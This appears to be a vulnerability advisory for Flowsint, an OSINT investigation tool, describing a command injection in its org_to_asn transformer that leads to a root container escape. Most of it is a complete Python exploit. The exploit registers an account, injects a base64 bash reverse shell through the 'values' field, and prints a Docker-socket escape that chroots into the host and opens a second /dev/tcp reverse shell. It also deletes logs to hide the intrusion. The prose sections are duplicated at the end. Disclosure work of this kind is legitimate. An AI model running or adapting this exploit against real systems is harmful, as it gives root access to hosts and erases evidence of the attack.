Summary
Flowsint allows a user to create investigations, which are used to manage sketches and analyses. Sketches have controllable graphs, which are comprised of nodes and relationships. The sketches contain information on an OSINT target (usernames, websites, etc) within these nodes and relationships. The nodes can have automated processes execute on them called 'transformers'. A remote attacker can create a sketch, then trigger the 'org_to_asn' transform on an organisation node to execute arbitrary OS commands as root on the host machine via shell metacharacters and a docker container escape.
Detail
An adversary could use $(command) syntax to achieve arbitrary command execution via command substitution. Within 'flowsint-transformers/src/flowsint-transformers/organization/to_asn.py' on lines 64-70 is this code snippet:
def __get_asn_from_asnmap(self, name: str) -> Dict[str, Any]:
try:
# Properly run the shell pipeline using shell=True
command = f"echo {name} | asnmap -silent -json | jq -s"
result = subprocess.run(
command, shell=True, capture_output=True, text=True, timeout=60
)
Following the code execution path, the 'name' parameter is controlled by the user in a POST request to /api/transformers/org_to_asn/launch within 'values'. Due to this command being executed as a string with an interpolated variable and is passed to subprocess with 'shell' enabled, it is vulnerable to command injection.
Once a shell is established via command injection, the docker socket is mounted in the container, allowing an adversary to escape out of the container and mount the host file-system with root capabilities within a new docker container.
Impact
An adversary has root access to the host machine hosting the Flowsint, resulting in complete system compromise. This allows the attacker the ability to compromise the confidentiality of sensitive data, potentially cause an outage to the service, infect the host with malware, and any other adversarial action.
PoC
#!/venv/bin/python3
import argparse
import base64
import random
import string
import time
import requests
# Made by sealldev
def random_string(length: int):
"""
Generate a random string of letters and numbers of a specified length.
"""
return "".join(random.choices(string.ascii_letters + string.digits, k=length))
class AsnToOrganisationRCE:
"""
A generalised class to manage the web sessions and values for the exploit.
"""
def __init__(self):
self.username = random_string(20)
self.password = random_string(20)
self.email = f"{random_string(10)}@{random_string(10)}.com".lower()
self.session = requests.Session()
self.listener_ip = "localhost"
self.listener_port = 4444
self.secondary_listener_port = 4445
self.remote_ip = "localhost"
self.remote_port = 5001
self.insecure = False
self.url = ""
self.headers = {}
self.payload = ""
self.verbose = False
def exploit(self):
"""
Execute the exploit.
"""
self.payload = self.craft_payload()
self.register_user()
self.get_token()
investigation_id = self.create_investigation()
sketch_id = self.create_sketch(investigation_id)
self.rce_via_org_to_asn(sketch_id)
print("[+] Docker escape one-liner below:")
print(self.craft_docker_escape())
time.sleep(3)
self.cleanup_logs(sketch_id)
input(
"[+] Press any key once reverse shell is closed to remove the remaining logs..."
)
self.cleanup_logs(sketch_id)
def register_user(self):
"""
Register a user on the /api/auth/register endpoint with randomly generated values.
"""
json_payload = {
"username": self.username,
"email": self.email,
"password": self.password,
}
res = self.session.post(
f"{self.url}/api/auth/register",
json=json_payload,
verify=(not self.insecure),
)
if not res.status_code == 201:
raise ValueError(
f"[x] Expecting status code 201, recieved {res.status_code}"
)
res_data = res.json()
message = res_data.get("message", None)
if not message == "User registered successfully":
raise ValueError(
f'[x] Expected successful registration message, recieved "{message}".'
)
print("[+] User successfully registered!")
if self.verbose:
print(f" - Username: {self.username}")
print(f" - Email: {self.email}")
print(f" - Password: {self.password}")
return
def get_token(self):
"""
With a valid user's credentials, get a token for a user.
"""
payload = {"username": self.email, "password": self.password}
res = self.session.post(f"{self.url}/api/auth/token", data=payload)
res_data = res.json()
access_token = res_data.get("access_token", None)
if not access_token:
raise ValueError(
f"[x] Exploitation failed, access token was not found in response.\n - {res_data}"
)
self.headers = {"Authorization": f"Bearer {access_token}"}
print("[+] Got access token!")
if self.verbose:
print(f" - {access_token}...")
return
def create_investigation(self):
"""
Create an investigation project, to then create a sketch within in 'create_sketch()'.
"""
json_payload = {"name": random_string(20), "description": random_string(20)}
res = self.session.post(
f"{self.url}/api/investigations/create",
json=json_payload,
headers=self.headers,
)
res_data = res.json()
investigation_id = res_data.get("id", None)
if not investigation_id:
raise ValueError(
f"[x] Exploitation failed, investigation id was not found in response.\n - {res_data}"
)
print('[+] Created an investigation "' + json_payload["name"] + '"')
if self.verbose:
print(f" - Investigation ID: {investigation_id}")
return investigation_id
def create_sketch(self, investigation_id):
"""
Create a sketch to execute the vulnerability within.
"""
json_payload = {
"title": random_string(20),
"description": random_string(20),
"investigation_id": investigation_id,
}
res = self.session.post(
f"{self.url}/api/sketches/create", json=json_payload, headers=self.headers
)
res_data = res.json()
sketch_id = res_data.get("id", None)
if not sketch_id:
raise ValueError(
f"[x] Exploitation failed, sketch id was not found in response.\n - Response: {res.content}\n - Payload: {json_payload}"
)
print('[+] Created an sketch "' + json_payload["title"] + '"')
if self.verbose:
print(f" - Sketch ID: {sketch_id}")
return sketch_id
def rce_via_org_to_asn(self, sketch_id):
"""
Using the org_to_asn transformer, trigger blind RCE.
"""
if not sketch_id:
print("[x] Cannot launch transform without a sketch ID.")
return
payload_value = f"$(echo '{self.payload}'|base64 -d|bash)"
json_payload = {
"values": [payload_value],
"sketch_id": sketch_id,
}
res = self.session.post(
f"{self.url}/api/transforms/org_to_asn/launch",
json=json_payload,
headers=self.headers,
)
if not res.status_code == 200:
raise ValueError(
f"[x] Expected status code 200 on exploit, recieved {res.status_code}"
)
res_data = res.json()
log_id = res_data.get("id", None)
if not log_id:
raise ValueError(
f"[x] Exploitation failed, no id found in response\n - Response: {res_data}"
)
print("[+] Action started with payload.")
if self.verbose:
print(f" - Transformer Action ID: {log_id}")
print("[+] Shell should start now!")
def craft_docker_escape(self):
"""
Craft a docker escape payload to use in the first reverse shell to trigger
a second reverse shell within the new container with the host mount.
"""
docker_escape = f"""#!/bin/bash
set -euo pipefail
if ! command -v docker >/dev/null 2>&1; then
curl -fsSL https://get.docker.com | bash
fi
docker run --rm -i \
--pid=host --userns=host --uts=host --cgroupns=host \
--cap-add=ALL \
--security-opt apparmor=unconfined \
--security-opt seccomp=unconfined \
--security-opt label:disable \
-v /:/host \
-v /dev:/host/dev \
-v /dev/pts:/host/dev/pts \
-v /proc:/host/proc \
-v /sys:/host/sys \
ubuntu \
bash -lc 'chroot /host /bin/bash -c "/bin/bash -i >& /dev/tcp/{self.listener_ip}/{self.secondary_listener_port} 0>&1"'
"""
return f"echo '{base64.b64encode(docker_escape.encode()).decode()}' | base64 -d | bash -s --"
def craft_payload(self):
"""
Craft a reverse shell payload to submit for initial shell.
"""
return base64.b64encode(
f"/bin/bash -i >& /dev/tcp/{self.listener_ip}/{self.listener_port} 0>&1".encode()
).decode()
def cleanup_logs(self, sketch_id):
"""
For OPSEC, cleanup the logs after compromising with a reverse shell.
"""
res = self.session.delete(
f"{self.url}/api/events/sketch/{sketch_id}/logs",
headers=self.headers,
)
if not res.status_code == 200:
raise ValueError(
f"[x] Expecting status code 200, recieved {res.status_code}"
)
res_data = res.json()
message = res_data.get("message", None)
if not message or not message == "All logs have been deleted successfully":
raise ValueError(
f"[x] Exploitation failed, unexpected message was in response.\n - {res_data}"
)
print("[+] Cleaned up logs from the sketch")
return
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument(
"-lp",
"--listener-port",
help="The port to listen on for the initial reverse shell into the docker container (Default: 4444).",
default=4444,
)
parser.add_argument(
"-lp2",
"--secondary-listener-port",
help="The port to listen on for the second reverse shell for the Docker escape (Default: 4445).",
default=4445,
)
parser.add_argument(
"-li",
"--listener-ip",
help="The IP of the listener for the reverse shell (Default: localhost).",
default="localhost",
)
parser.add_argument(
"-rp",
"--remote-port",
help="The port for the remote Flowsint API (Default: 5001).",
default=5001,
)
parser.add_argument(
"-ri",
"--remote-ip",
help="The IP for the remote Flowsint API (Default: localhost).",
default="localhost",
)
parser.add_argument(
"-v",
"--verbose",
help="Enable verbosity in logging for extra detail when debugging (Default: False).",
action="store_true",
)
parser.add_argument(
"-k",
"--insecure",
help="Utilise HTTP for a connection to the website (Default: False).",
action="store_true",
)
args = parser.parse_args()
exploit = AsnToOrganisationRCE()
if args.listener_port:
exploit.listener_port = args.listener_port
if args.listener_ip:
exploit.listener_ip = args.listener_ip
if args.remote_port:
exploit.remote_port = args.remote_port
if args.remote_ip:
exploit.remote_ip = args.remote_ip
if args.insecure:
exploit.insecure = args.insecure
if args.verbose:
exploit.verbose = args.verbose
if args.secondary_listener_port:
exploit.secondary_listener_port = args.secondary_listener_port
exploit.url = (
f"{'http' if args.insecure else 'https'}://{args.remote_ip}:{args.remote_port}"
)
exploit.exploit()
Summary
Flowsint allows a user to create investigations, which are used to manage sketches and analyses. Sketches have controllable graphs, which are comprised of nodes and relationships. The sketches contain information on an OSINT target (usernames, websites, etc) within these nodes and relationships. The nodes can have automated processes execute on them called 'transformers'. A remote attacker can create a sketch, then trigger the 'org_to_asn' transform on an organisation node to execute arbitrary OS commands as root on the host machine via shell metacharacters and a docker container escape.
Detail
An adversary could use
$(command)syntax to achieve arbitrary command execution via command substitution. Within 'flowsint-transformers/src/flowsint-transformers/organization/to_asn.py' on lines 64-70 is this code snippet:Following the code execution path, the 'name' parameter is controlled by the user in a POST request to
/api/transformers/org_to_asn/launchwithin 'values'. Due to this command being executed as a string with an interpolated variable and is passed to subprocess with 'shell' enabled, it is vulnerable to command injection.Once a shell is established via command injection, the docker socket is mounted in the container, allowing an adversary to escape out of the container and mount the host file-system with root capabilities within a new docker container.
Impact
An adversary has root access to the host machine hosting the Flowsint, resulting in complete system compromise. This allows the attacker the ability to compromise the confidentiality of sensitive data, potentially cause an outage to the service, infect the host with malware, and any other adversarial action.
PoC